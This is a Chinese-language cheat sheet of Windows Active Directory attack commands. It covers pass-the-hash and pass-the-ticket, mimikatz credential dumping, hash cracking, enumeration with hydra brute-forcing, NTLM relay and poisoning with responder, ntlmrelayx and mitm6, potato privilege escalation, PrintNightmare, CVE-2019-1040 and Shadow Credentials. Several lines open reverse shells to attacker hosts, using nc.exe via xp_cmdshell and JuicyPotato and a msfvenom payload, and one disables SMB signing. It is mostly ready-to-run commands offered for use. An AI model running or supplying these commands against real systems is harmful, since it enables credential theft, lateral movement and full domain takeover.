Linux远程连接RDP

# Using hostname or FQDN
xfreerdp3 /v:win10ent1.ad.lab /u:'john.doe' /p:'P@$$word123!'

# Using an IP address
xfreerdp3 /v:10.80.80.3 /u:'john.doe' /p:'P@$$word123!'

pass the hash

psexec.py xiaorang.lab/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -target-ip 172.22.6.12  -codec gbk

wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b [email protected]
nxc smb <target-or-CIDR> -d 'domain.tld' -u "username" -H NT_HASH #域内账户

nxc smb <target-or-CIDR> -u "username" -H NT_HASH --local-auth #本地账户
impacket-smbexec -hashes ':NT_HASH' 'domain.tld/username@target'

impacket-wmiexec -hashes lm-hash:nt-hash 'domain.tld/username@target' cmd.exe

impacket-psexec -hashes lm-hash:nt-hash 'domain.tld/username@target' cmd.exe
evil-winrm -i <target_ip> -u username -H <hash>
smbclient -U 'AD.LAB/john.doe%NT_HASH' --pw-nt-hash -L //filesrv01.ad.lab
impacket-getTGT -dc-ip 10.80.80.2 -hashes :NT_HASH_HERE 'ad.lab/john.doe'@DC01.ad.lab
secretsdump.py soupedecode.local/'DC01$'@192.168.56.126 -hashes :967fdb37b05f099f6659ab8196ec4db1

pass the password

nxc smb <target-or-CIDR> -d 'domain.tld' -u username -p password

nxc smb <target-or-CIDR> --local-auth -u username -p password
impacket-smbexec 'domain.tld/user.name:password@target'

impacket-wmiexec 'domain.tld/user.name:password@target' cmd.exe

impacket-psexec 'domain.tld/user.name:password@target' cmd.exe

impacket-secretsdump 'domain.tld/user.name:password@target'

evil-winrm -i <target_ip> -u username -p password

pass the ticket

mimikatz # sekurlsa::tickets /export
kerberos::ptt [0;ca99f8][email protected]
impacket-getST -spn 'cifs/DC.hackme.thl' -impersonate 'administrator' 'hackme.thl/GMSA_SVC$' -hashes :8d87cacb244ca64c1f67c691e1adf124  -dc-ip 192.168.56.8 

export KRB5CCNAME=administrator@[email protected] 
psexec.py hackme.thl/[email protected] -k -no-pass -target-ip 192.168.56.8

mimikatz

dump 哈希

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords

dump SAM

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

dump TGT

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::tickets

哈希碰撞

LM

john --format=lm hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 3000 -a 0 hash.txt  /usr/share/wordlists/rockyou.txt

NT

john --format=nt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

NTLM v1

john --format=netntlm hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

NTLM v2

john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Kerberos 5 TGS ($krb5tgs$23$…)

john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Kerberos 5 TGS AES128 ($krb5tgs$17…)

hashcat -m 19600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Kerberos ASREP ($krb5asrep$23…)

hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

MSCache 2 (very slow) ($DCC2$10240…)

hashcat -m 2100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Timeroast hash ($sntp-ms$…)

hashcat -m 31300 -a 3 hash.txt -w 3 ?l?l?l?l?l?l?l

pxe hash ($sccm$aes128$…)

hashcat -m 19850 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

内网扫描

cme smb 192.168.31.1/24 #枚举开放smb服务的主机
nmap -sP -p 192.168.31.34 # ping扫描
nmap -PN -sV --top-ports 50 --open 192.168.31.34
nmap -PN --script smb-vuln* -p139,445 192.168.31.34
nmap -PN -sC -sV -oA out.txt 192.168.31.34 #完全扫描
nmap -sU -sC -sV -oA out.txt 192.168.31.34 # udp扫描

寻找域控ip

nmcli dev show eth0 #显示域名/DNS名称
nslookup -type=SRV _ldap._tcp.dc._msdsc.<domian>

SMB上共享的访客访问权限

enum4linux -a -u "" -p "" dc-ip && enum4linux -a -u "guest" -p ""  -P 445 -H dc-ip
smbmap -u "" -p "" -P 445 -H dc-ip && smbmap -u "guest" -p "" -P 445 -H dc-ip
smbmap -H 192.168.31.34 -R $sharename  #指定共享目录
smbclient -U '%' -L //192.168.31.34 && smbclient -U 'guest%' -L //192.168.31.34
smbclient -L \\\\192.168.1.101\\    #列出所有共享
smbclient //HOST/PATH -c 'recurse;ls'  #递归列出目录下所有文件
smbclient \\\\192.168.1.101\\C$         #连接到共享
smbclient \\\\192.168.1.101\\C$  -N     #匿名连接
smbclient \\\\192.168.1.101\\C$ --option='client min protocol=NT1' #同上
smbclient \\\\192.168.1.101\\admin$ -U t-skid  #指定用户连接
cme smb 192.168.31.34 -u '' -p '' #枚举空会话
cme smb 192.168.31.34 -u 'a' -p '' #枚举匿名访问
rpcclient -U "" <ip>  #smb空会话连接,现在启用空会话的主机不常见,但值得一试
rpcclient -U Whisky%Ignite@MamasoyStream2er@ 192.168.69.69
rpcclient>srvinfo
rpcclient>enumdomusers
rpcclient>getdompwinfo

SMB枚举脚本

#!/bin/bash
IFACE="eth0"
if [ $# -eq 0 ]
    then
        echo "Usage: $0 <IP>"
        echo "eg: $0 10.10.10.10"
        exit
    else
        IP="$1"
fi
echo -e "\n########## Getting Netbios name ##########"
nbtscan -v -h $IP
echo -e "\n########## Checking for NULL sessions ##########"
output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`
echo $output
echo -e "\n########## Enumerating domains ##########"
bash -c "echo 'enumdomains' | rpcclient $IP -U%"
echo -e "\n########## Enumerating password and lockout policies ##########"
polenum $IP
echo -e "\n########## Enumerating users ##########"
nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP
bash -c "echo 'enumdomusers' | rpcclient $IP -U%"
bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt
echo -e "\n########## Enumerating Administrators ##########"
net rpc group members "Administrators" -I $IP -U%
echo -e "\n########## Enumerating Domain Admins ##########"
net rpc group members "Domain Admins" -I $IP -U%
echo -e "\n########## Enumerating groups ##########"
nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP
echo -e "\n########## Enumerating shares ##########"
nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP
echo -e "\n########## Bruteforcing all users with 'password', blank and username as password"
hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1
rm /tmp/$IP-users.txt

枚举ldap

nmap -n -sV --script "ldap* and not brute" -p 389 192.168.31.34
ldapsearch -x -s base -H ldap://192.168.31.34

用户枚举

SMB用户枚举

enum4linux -U 192.168.31.34 | grep 'user:'
cme smb 192.168.31.34 --users
net rpc group members 'Domain Users' -W 'hacker.com' -l 192.168.31.34 -U '%'

kerbrute用户名枚举

./kerbrute_linux_amd64 userenum --dc 192.168.56.116 -d cons.thl /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

ldap用户名枚举

./ldapnomnom-linux-x64 -input /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -server 192.168.1.102 

使用 IPC$ 枚举用户

lookupsid.py 利用 Windows 开放的 LSA RPC 接口(通常通过 \pipe\lsarpc)在匿名或认证连接的情况下,枚举出主机或域中的用户/组账户名称

如果可以匿名访问IPC$或者有个用户可以访问IPC$,那么可以用lookupsid.py进行用户枚举

lookupsid.py [email protected]
lookupsid.py [email protected]

SMB密码爆破

cme smb 192.168.10.5 -u username.txt -p username.txt --continue-on-success
hydra -L user.txt -P user.txt 192.168.56.197 smb -t 1
use auxiliary/scanner/smb/smb_login

NFS攻击(111,2049)

NFS类似smb,可用于网络访问文件

检测nfs是否可用

rpcinfo -p 192.168.56.19

如果nfs可用,显示所有的mount

showmount -e 192.168.56.19

挂在共享点

mount -t nfs 192.168.56.19:/share /mnt/nfs

卸载共享

umount -f -l /mnt/nfs

DNS枚举(53)

dig hsploit.com
dig hsploit.com -t mx  #执行邮件服务
dig hsploit.com -t ns +short #对输出进行排序
nslookup hsploit.com

查找特定记录

host google.com
查找邮件服务
host -t mx google.com
查找域名服务
host -t ns google.com
查找txt记录
host -t txt google.com

DNS域传输漏洞

dig axfr hack.com @192.168.31.34 #获取域内ip和域名记录

反查

dig -x 142.250.183.78 +short 
host 209.51.188.148

POP3枚举(110,25)*

是一种计算机网络和 Internet 标准协议,可从远程邮件服务器提取和检索电子邮件以供主机访问

telnet 192.168.56.19 110
POP 命令:
  USER uid           以用户 "uid"登录
  PASS password      使用实际密码替代 "password" 进行身份验证
  STAT               显示邮件数量和邮箱总大小
  LIST               列出所有邮件及其大小
  RETR n             显示第 n 封邮件的全部内容
  DELE n             将第 n 封邮件标记为删除(断开连接时删除)
  RSET               撤销所有删除操作(重置状态)
  QUIT               注销并断开连接(如果之前有 DELE 且未使用 RSET,则执行删除)
  TOP msg n          显示第 msg 封邮件的前 n 行内容(用于预览)
  CAPA               获取服务器支持的功能(Capabilities)

Mysql枚举(3306)

nmap -sV -Pn -vv --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $ip -p 3306

nmap -sV -Pn -vv -script=mysql* $ip -p 3306

mysql连接

mysql -u root  #无密码连接
mysql -u root -p #密码连接
mysql -h <Hostname> -u root
mysql -h 192.168.56.19 -u root@localhost

如果 Mysql 以 root 身份运行并且您有访问权限,则可以运行命令

mysql> select do_system('id');

mysql> \! sh

dump数据库

mysqldump -u admin -p admin --all-databases --skip-lock-tables 

Oracle枚举(1521)

nmap -p 1521 -A $ip

nmap -n -v -sV -Pn -p 1521 –script=oracle-enum-users –script-args sid=ORCL,userdb=users.txt $ip

nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
# TNS listener version

nmap --script=oracle-sid-brute $ip
nmap  -n -v -sV -Pn -p 1521 --script=oracle-brute $ip
# Brute-Force Account
oscanner -s $ip -P 1521

MSSQL枚举(1433)

nmap -n -v -sV -Pn -p 1433 –script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password $ip

#爆破
nmap -n -v -sV -Pn -p 1433 –script ms-sql-brute –script-args userdb=users.txt,passdb=passwords.txt $ip

登录mssql

mssqlclient.py <domain>/<username>:<password>@$ip

mssqlclient.py bathry/admin:[email protected]

然后rce

SQL> enable_xp_cmdshell

SQL> xp_cmdshell copy \\10.10.16.26\gabbar\nc.exe %temp%\nc.exe

SQL> xp_cmdshell %temp%/nc.exe -e cmd.exe 10.10.16.26 4444

局域网攻击

IPv6 DNS欺骗

攻击者在网络上宣布自己为 IPv6 DHCP 服务器和 DNS 服务器,该服务器诱使客户将请求发送到攻击者的计算机

首先,假装自己是IPv6服务器

mitm6 -d <domain.tld>

此时局域网内的ipv6客户端将会连接服务器请求WPAD 文件

攻击者会返回一个恶意的WPAD文件,这样之后,客户端想通过某些协议连接(如HTTP)时,将通过NTLM对WPAD代理进行身份认证。

然后,打NTLM 中继

1.接收受害者发来的 HTTP 请求,其中包含 NTLM 认证信息

2.将这些认证请求转发(relay)到合法服务(如 LDAP)

3.如果攻击者成功 relay 到域控(DC),就可能以受害者身份执行操作

sudo ntlmrelayx.py -6 \ 
-t ldaps://domain-controller-ip \ 
-wh <wpadhostname.domain.tld> \ 
-l lootdir

LLMNR/NBTNS/MDNS

LLMNR 是一种主机名解析协议,在局域网中用于替代 DNS,当 DNS 无法解析主机名时使用

投毒攻击

responder -I eth0 #伪造响应获取用户NTLM 哈希

SMB中继攻击

SMB 中继攻击概述

SMB 中继攻击是指攻击者捕获用户发出的 Net-NTLM 哈希,然后将其中继以访问网络上已禁用 SMB 签名的另一台计算机

image-20250723223714575

此外,SMB 中继攻击在不同的工作场景中又有着不一样的利用方式

(1)在工作组环境中,机器之间相互没有信任关系,因此想中继到其它机器是不太现实的。但是可以中继到机器自身的,只不过这种方式微软已通过补丁 MS08-068 做了限制,严禁在中继到机器自身

(2)在域环境中,普通域用户默认可以登录除域控外的其它所有机器,因此可以将域用户的 Net-NTLM 哈希中继到域内的其它机器。所以,SMB 中继攻击在域中会更为常见

image-20250723223851594

如果被中继的帐户恰好在被中继的机器上具有本地管理权限,那么就可以利用它们的权限转储主机上的 SAM 哈希或获取主机上的 SYSTEM shell

注:在域环境中,身份验证通常优先使用 Kerberos 协议,NTLM 作为回退机制。当 Kerberos 不可用时,例如无法获取服务票据或目标服务不支持 Kerberos,客户端会自动回退使用 NTLM。而中继攻击,如使用 ntlmrelayx.py 实现的攻击,依赖于受害者使用 NTLM 协议进行身份验证。因此,该攻击程序通常通过控制网络流量或与目标服务建立不支持 Kerberos 的连接,从而促使客户端使用 NTLM,进而实现认证中继

枚举已禁用 SMB 签名的主机

为了可以发起 SMB 中继攻击,我们需要做的第一件事就是找到那些在网络中已禁用 SMB 签名的机器

  • 启用后,在尝试传递凭据时,域会知道你不是那个真正的人,因为数据包未由你签名,因此它不会让你进入。
  • 禁用后,域将不会检查请求来源的真实性,而只是看到用户 + 哈希值,并允许你进入系统。(前提是你有权限)
/usr/share/responder/tools/RunFinger.py -i 192.168.59.19

cme smb 192.168.56.19 --gen-relay-list a.txt

关闭smb签名的指令

reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f

诱导机器发送TNLM认证

LLMNR&NBNS攻击

当用户输入任意一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,所以系统就会发送LLNMR/NBNS数据包请求解析,此时Responder对目标主机进行LLNMR/NBNS毒化,并要求其输入凭据认证,然后就可以抓到目标机器的Net-Ntlm hash

net use \\dddddd

Inveigh

set-ExecutionPolicy RemoteSigned
#这里选择为Y

.\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y

desktop.ini

每个文件夹下都有个隐藏文件desktop.ini其作用来用来指定文件夹图标等,正常情况是不可见的,可以通过修改文件夹属性去显示此文件。
当图标的一些路径改成指定的UNC路径,就能收到目标机器发来的NTLM请求。

1.我们先新建一个文件夹test,然后随便修改一个文件夹图标
2.文件夹选项取消勾选 隐藏受保护的操作系统文件,就会显示desktop.ini
3.修改desktop.ini
[.ShellClassInfo]
IconResource=\\192.168.56.19\SHELL32.dll,4
4.再次访问文件夹

.scf后缀文件

SCF后缀的文件通常是Windows操作系统中使用的一种快捷方式文件。SCF文件是Shell Command File(Shell 命令文件)的缩写,它包含了一系列命令,用于执行特定的操作或打开特定的应用程序。

这个利用方法和上面的desktop.ini的原理是一样的,.scf文件中包含IconFile属性,所以explore.exe服务器会尝试获取文件夹的图标,所以打开.scf所在的文件夹时,目标机器会尝试获取文件夹的图标,那我们通过修改IconFile也就像上面一样达到访问指定UNC机器的目的了。
.scf文件的基本格式如下:

[Shell]Command=2
IconFile=\\10.10.10.2\test\test.ico
[Taskbar]
Command=ToggleDesktop

浏览器

当浏览器的访问页面含有UNC路径时,浏览器在解析该页面时也会尝试请求该UNC地址,发起NTLM认证。不同的浏览器有不同的UNC路径格式

<!doctype html>
<htlm lang="en">
<head>
  <meta charset="UTF-8">
<head>
<body>
   <script src="\\192.168.253.255\test"></script>
</html>

然后在被攻击机上访问这个文件

系统命令

net.exe use \hostshare
attrib.exe \hostshare
cacls.exe \hostshare
cipher.exe \hostshare
expand.exe \hostshare

启动 Responder

在使用 Responder 执行 SMB 中继攻击时,需要关闭 Responder 的SMB 和 HTTP 服务,这样便可以让其只监听请求而不做出响应,否则会影响 ntlmrelayx.py 的正常运行

nano /usr/share/responder/Responder.conf

image-20250723224623267

SMB中继攻击

ntlmrelayx.py 会将收到的身份验证请求转发到另一台目标计算机,进而实现中继攻击

标准用户 + SMBClient Shell

responder -I eth1 -v #先开启LLMNR毒化
ntlmrelayx.py -tf ip.txt -smb2support -i

此命令会将来自列表中任意 IP 的所有请求转发到列表中的所有 IP。如果从一台机器转发到另一台机器的帐户有权访问共享文件夹,那么由于我们使用了 -i 选项,这将在受害者的 11000 端口上创建一个绑定端口,然后就可以使用 netcat 进行访问

本地管理员用户 + SAM 哈希转储

拿到的ntlm用户恰好是目的机器的管理员,就可以转储本地SAM哈希

responder -I eth1 -v #先开启LLMNR毒化
ntlmrelayx.py -tf ip.txt -smb2support -i

本地管理员用户 + 命令执行 1

中继的账户恰好是本地管理员用户,那么该命令将以 SYSTEM 权限执行

responder -I eth1 -v #先开启LLMNR毒化
ntlmrelayx.py -tf ip.txt -smb2support -c 'whoami'

本地管理员用户 + 命令执行 2

使用 ntlmrelayx 获取 Shell 的另一种技术是添加 -e 选项,此选项会自动将攻击者的机器的恶意 EXE 文件传输到受害者机器并执行

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o shell.exe

responder -I eth1 -v #先开启LLMNR毒化
ntlmrelayx.py -tf ip.txt -smb2support -e ./shell.exe

AS-REP Roasting攻击

在AS-REP阶段,Logon Session Key是用用户密码的Hash加密的。对于域用户,如果设置了Do not reqire Kerberos preauthentication(不需要预认证)选项,攻击者会向域控的88端口发送AS_REQ,此时域控不会做任何验证就将TGT和该用户的Hash加密的Logon Session Key返回。这样,攻击者就可以对获取到的用户Hash加密的Logon Session Key进行破解,如果破解成功,就能拿到该用户的密码明文,这种攻击方式被称为AS-REP Roasting攻击

#没有用户凭据枚举
GetNPUsers.py -usersfile user.txt -no-pass -dc-ip 192.168.10.5 DORAEMON.THL/   

#已经有用户凭据了再枚举
.\Rubeus.exe asreproast

GetNPUsers.py domain.local/user:password -dc-ip x.x.x.x -outputfile asrep.hashcat

Kerberoasting攻击

在TGS-REP阶段,由于ST是用服务Hash加密的,因此,如果我们能获取到ST,就可以对该ST进行破解,得到服务的Hash,造成Kerberoasting攻击。这种攻击方式存在的另一个原因是用户向KDC发起TGS-REQ请求时,不管用户对服务有没有访问权限,只要TGT正确,KDC都会返回ST。

#TGS-REQ请求ST
GetUserSPNs.py -request -dc-ip 192.168.56.128 soupedecode.local/ybob317  -outputfile hashes.kerberoast

#如果没有密码,但是有用户列表尝试
GetUserSPNs.py domain.local/guest -usersfile users.txt -request -outputfile kerb.hashcat -dc-ip x.x.x.x -no-pass

#在windows上
.\Rubeus.exe kerberoast /nowrap

会拿到所有服务的哈希,可以使用john跑一下密码

hashcat -m 5600 pass.txt wordlists.txt
john aaa --wordlists=/usr/share/wordlists/rockyou.txt

土豆家族

利用 Potato 提权的是前提是拥有SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege权限

当用户具有SeImpersonatePrivilege特权,则可以调用CreateProcessWithTokenW以某个Token的权限启动新进程

当用户具有SeAssignPrimaryTokenPrivilege特权,则可以调用CreateProcessAsUserWhToken权限启动新进程

为什么会有一系列Impersonate函数,微软本意是让高权限服务端可以模拟低权限客户端来执行操作以提高安全性,但被攻击者反向使用了

MS08-068 NTLM反射Origin Potato

把用户SMB请求 中继到其自身。

SMB 协议中的 NTLM 反射漏洞仅针对 Windows 2000 到 Windows Server 2008

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets

CVE-2019-1384 Ghost Potato

这个漏洞绕过了 MS08-068 之后,用户不能 relay 回本机的限制

当我们存在两个主机进行SMB通信时,A向B发送了NTLM_NEGOTIAT请求,同时他将自己的pszTargetName设置为cifs/B,当拿到NTLM_CHALLENGE的challenge时,向lsass进程写入缓存Challenge cifs/B。之后A向B发送NTLM_AUTH,B接收后回到lsass中寻找是否存在Chllenge cifs/B,因为只有主机A写入了,B没有,所有B不存在缓存,这样SMB就不是一台主机,限制了MS08-068

而CVE-2019-1384绕过了找个限制,因为lsass中的缓存Challenge cifs/B会在300s后消失

responder -I eth0 --lm
ntlmrelayx.py -t smb://192.168.91.2 -smb2support --gpotato-startup beacon.exe

MS16-075 HOT Potato

MS08-068的变种

MS08-068虽然限制了同台主机之间smb到smb的Relay,但是并没有限制从http到smb

whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用 -t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用 -t u
如果均开启,可以选择-t * 如果均未开启,那么无法提权

根据系统找CLSID

https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list

找到SYSTEM的CLSID

C:\Users\websvc\Desktop>certutil.exe -urlcache -split -f http://192.168.1.106:6677/CLSID.list
C:\Users\websvc\Desktop>certutil.exe -urlcache -split -f http://192.168.1.106:6677/test_clsid.bat
JuicyPotato.exe -l 1337 -c "{659cdea7-489e-11d9-a9cd-000d56965251}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\websvc\Desktop\nc.exe 192.168.1.105 4444 -e cmd.exe" -t *

Rotten Potato

MS16-075的变种

1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

Juicy Potato

MS16-075的变种

https://github.com/ohpe/juicy-potato
1、加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象。
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

2、回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功。

3、针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成。
RottenPotatoNG使用的135端口。 Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。

4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。

5、利用System权限的Token创建新进程
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限

使用通HOT Potato

Sweet Potato

Juicy Potato 的重写 COM/WinRM/Spoolsv的集合版,也就是Juicy/PrintSpoofer

又叫PipePotato BadPotato

通过Windows named pipe的一个API: ImpersonateNamedPipeClient来模拟高权限客户端的token(还有类似的ImpersonatedLoggedOnUserRpcImpersonateClient函数),调用该函数后会更改当前线程的安全

当传递\\127.0.0.1/pipe/foo时,校验路径时会认为127.0.0.1/pipe/foo是主机名,随后在连接named pipe时会对参数做标准化,将/转化为\,于是就会连接\\127.0.0.1\pipe\foo\pipe\spoolss,攻击者就可以注册这个named pipe从而窃取clienttoken

RoguePotato

https://github.com/antonioCoco/RoguePotato

这个也是利用了命名管道

微软修补后,高版本Windows DCOM解析器不允许OBJREF中的DUALSTRINGARRAY字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的135端口做流量转发,将其转回受害者本机端口,并写了一个恶意RPC OXID解析器`

RoguePotato.exe -r 攻击机ip -e "whoami" -l 9999

kali:
socat tcp-listen:135,reuseaddr,fork tcp:靶机ip:9999

CVE-2021-1675 Windows Print Spooler

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限

在CVE-2021-1675的EXP中,调用RPC函数为RpcAddPrinterDriverEx,系统处理这个RPC函数后,但是没有对参数dwFileCopyFlags进行条件判断。如果此时dwFileCopyFlags设置为APD_INSTALL_WARNED_DRIVER标志,就可以实现低权限添加打印机驱动时,以高权限加载DLL

检测说明漏洞存在

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

利用

Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintTest" -NewUser "tao0845" -NewPassword "123"  #创建管理员用户

#反弹shell
Import-Module C:\Users\Public\CVE-2021-1675.ps1    
Invoke-Nightmare -DLL reverse.dll

HiveNightmare

icacls检查漏洞

CVE-2021-36934

https://github.com/GossiTheDog/HiveNightmare
执行成功会生成3个文件 SAM SECURITY SYSTEM
直接拿去导出密码

CVE-2019-1040

攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器。通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制Windows域内的任何机器,包括域控服务器。

NTLM身份验证由3种消息类型组成:NTLM_NEGOTIATE,NTLM_CHALLENGE,NTLM_AUTHENTICATE。微软为了在NTLM协商阶段防止中间人攻击,在最终的NTLM身份验证消息(NTLM_AUTHENTICATE)添加了一个额外字段——MIC,msvAvFlag字段表示该消息是否包含MIC,Flags:0x00000002表示该消息包含MIC字段。MIC是一个HMAC_MD5值,应用于3种NTLM消息的会话密钥,只有初始认证的账户和目标服务器知道。所以攻击者试图篡改消息时,由于无法生成相应的MIC,会导致攻击失败。但是该漏洞成因在于Microsoft服务器并不验证’msvAvFlag’字段,即服务器允许无MIC的NTLM_AUTHENTICATE消息,这使得不强制执行签名的服务器容易受到中间人攻击

该漏洞目前有两种攻击途径:

**(1)**使用任何AD帐户,通过SMB连接到受害者Exchange服务器,并触发SpoolService错误。攻击者服务器将通过SMB连接回您,SMB可以使用修改版本的ntlmrelayx中继到LDAP。使用中继LDAP身份验证,向攻击者帐户授予DCSync权限。攻击者帐户现在可以使用DCSync转储AD中的所有密码哈希。

**(2)**使用任何AD帐户,通过SMB连接到受害者服务器,并触发SpoolService错误。攻击者服务器将通过SMB连接回您,SMB可以使用修改版本的ntlmrelayx中继到LDAP。使用中继LDAP身份验证,将受害者服务器的基于资源的受限委派权限授予攻击者控制下的计算机帐户。攻击者现在可以作为受害者服务器上的任何用户进行身份验证。

#方法一利用exchange服务器
python3 printerbug.py rootkit.org/[email protected] 192.168.3.4  #利用打印机漏洞,使jerry用户对kali进行认证
ntlmrelayx.py --remove-mic --escalate-use jerry -t ldap://192.168.3.9 -smb2support #ntlm中继到域控LDAP
python3 secretsdump.py rootkit.org/[email protected] -just-dc  #如果提升到writeACL权限就能dump 哈希

#利用二Kerberos委派攻击
python3 addcomputer.py -computer-name '9z1nc' -computer-pass '9z1nc' -dc-ip 192.168.3.9 'rootkit.org/jerry:Admin12345' -method SAMR -debug  #在受控机器上添加一个机器设置约束委派
ntlmrelayx.py --remove-mic --escalate-user 9z1nc$ -t ldap://192.168.3.144 -smb2support --delegate-access #NTLM中继使机器账户拿到域控的委派权限
python3 printerbug.py rootkit.org/jerry:[email protected] 192.168.3.4 #触发认证即可拿到委派权限
getST.py -spn host/dc.rootkit.org 'rootkit.org'/'9z1nc$:9z1nc' -impersonate administrator #拿到域管的TGT
export KRB5CCNAME=administrator@[email protected]
secretsdump.py -k -no-pass dc.rootkit.org -just-dc #利用域管票据dump哈希

Shadow Credentials

在获取高权限用户后,通过给目标用户添加Shadow Credential(msDS-KeyCredentialLink属性),结合相关攻击工具获取到.pfx私钥证书文件,之后使用.pfx文件申请目标用户的TGT,进而得到其NTLM Hash

也就是说只要能改变某个账号的msDS-KeyCredentialLink属性,就能获得这个账号的TGT和NTLM Hash

以下用户具有修改msDS-KeyCredentialLink属性的权限:

域管理员(Domain Admins组成员)
高权限用户(具有GenericAll或GenericWrite权限)
Enterprise Key Admins组成员
Key Admins组成员
机器账户(修改自身)

条件

域控制器版本在Windows Server 2016以上
域控制器上安装Active Directory证书服务(AD CS)或者其他服务器上安装AD CS

PKINIT

在Kerberos认证协议中,TGT只能通过验证一个名为 “预认证 “的第一步来获得,预认证可以以对称方式(用DES、RC4、AES128或AES256密钥)或非对称方式(用证书)进行验证。非对称的预认证方式被称为PKINIT

PKINIT是一个Kerberos协议的扩展协议,允许Kerberos预认证阶段中使用非对称密钥进行加密。基于PKINIT协议,客户端使用自身私钥对预验证数据(Pre-authentication Data)进行加密,KDC使用客户端的公钥进行解密(与数字证书相似)。

当公钥被设置在目标的msDs-KeyCredentialLink中时,生成的证书可以用Pass-the-Certificate来获得TGT和进一步的访问。

1.客户端使用Client私钥加密Client证书和时间戳,发送给KDC
2.KDC使用Client公钥验证Client证书链的合法性以及确认解密后的时间戳正常
3.KDC返回TGT和会话密钥(Session Key)

攻击思路1:域内机器修改影子凭证

在已获取到高权限的用户(如administrator)后,执行Shadow Credentials攻击,实现权限维持。

# 向域控制器的msDS-KeyCredentialLink属性添加Shadow Credentials
Whisker.exe add /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab
#修改成功后,工具会提示出下一步的利用代码,即使用Rubeus通过证书获取申请该用户的TGT
Rubeus.exe asktgt /user:DC2016$ /certificate:[value] /password:"1fxDXbHQvbZpHm0S" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /nowrap /ptt          #/ptt将得到的TGT传递到内存中
如果没有添加入Shadow Credentials,则会报KDC_ERR_CLIENT_NAME_MISMATCH错误


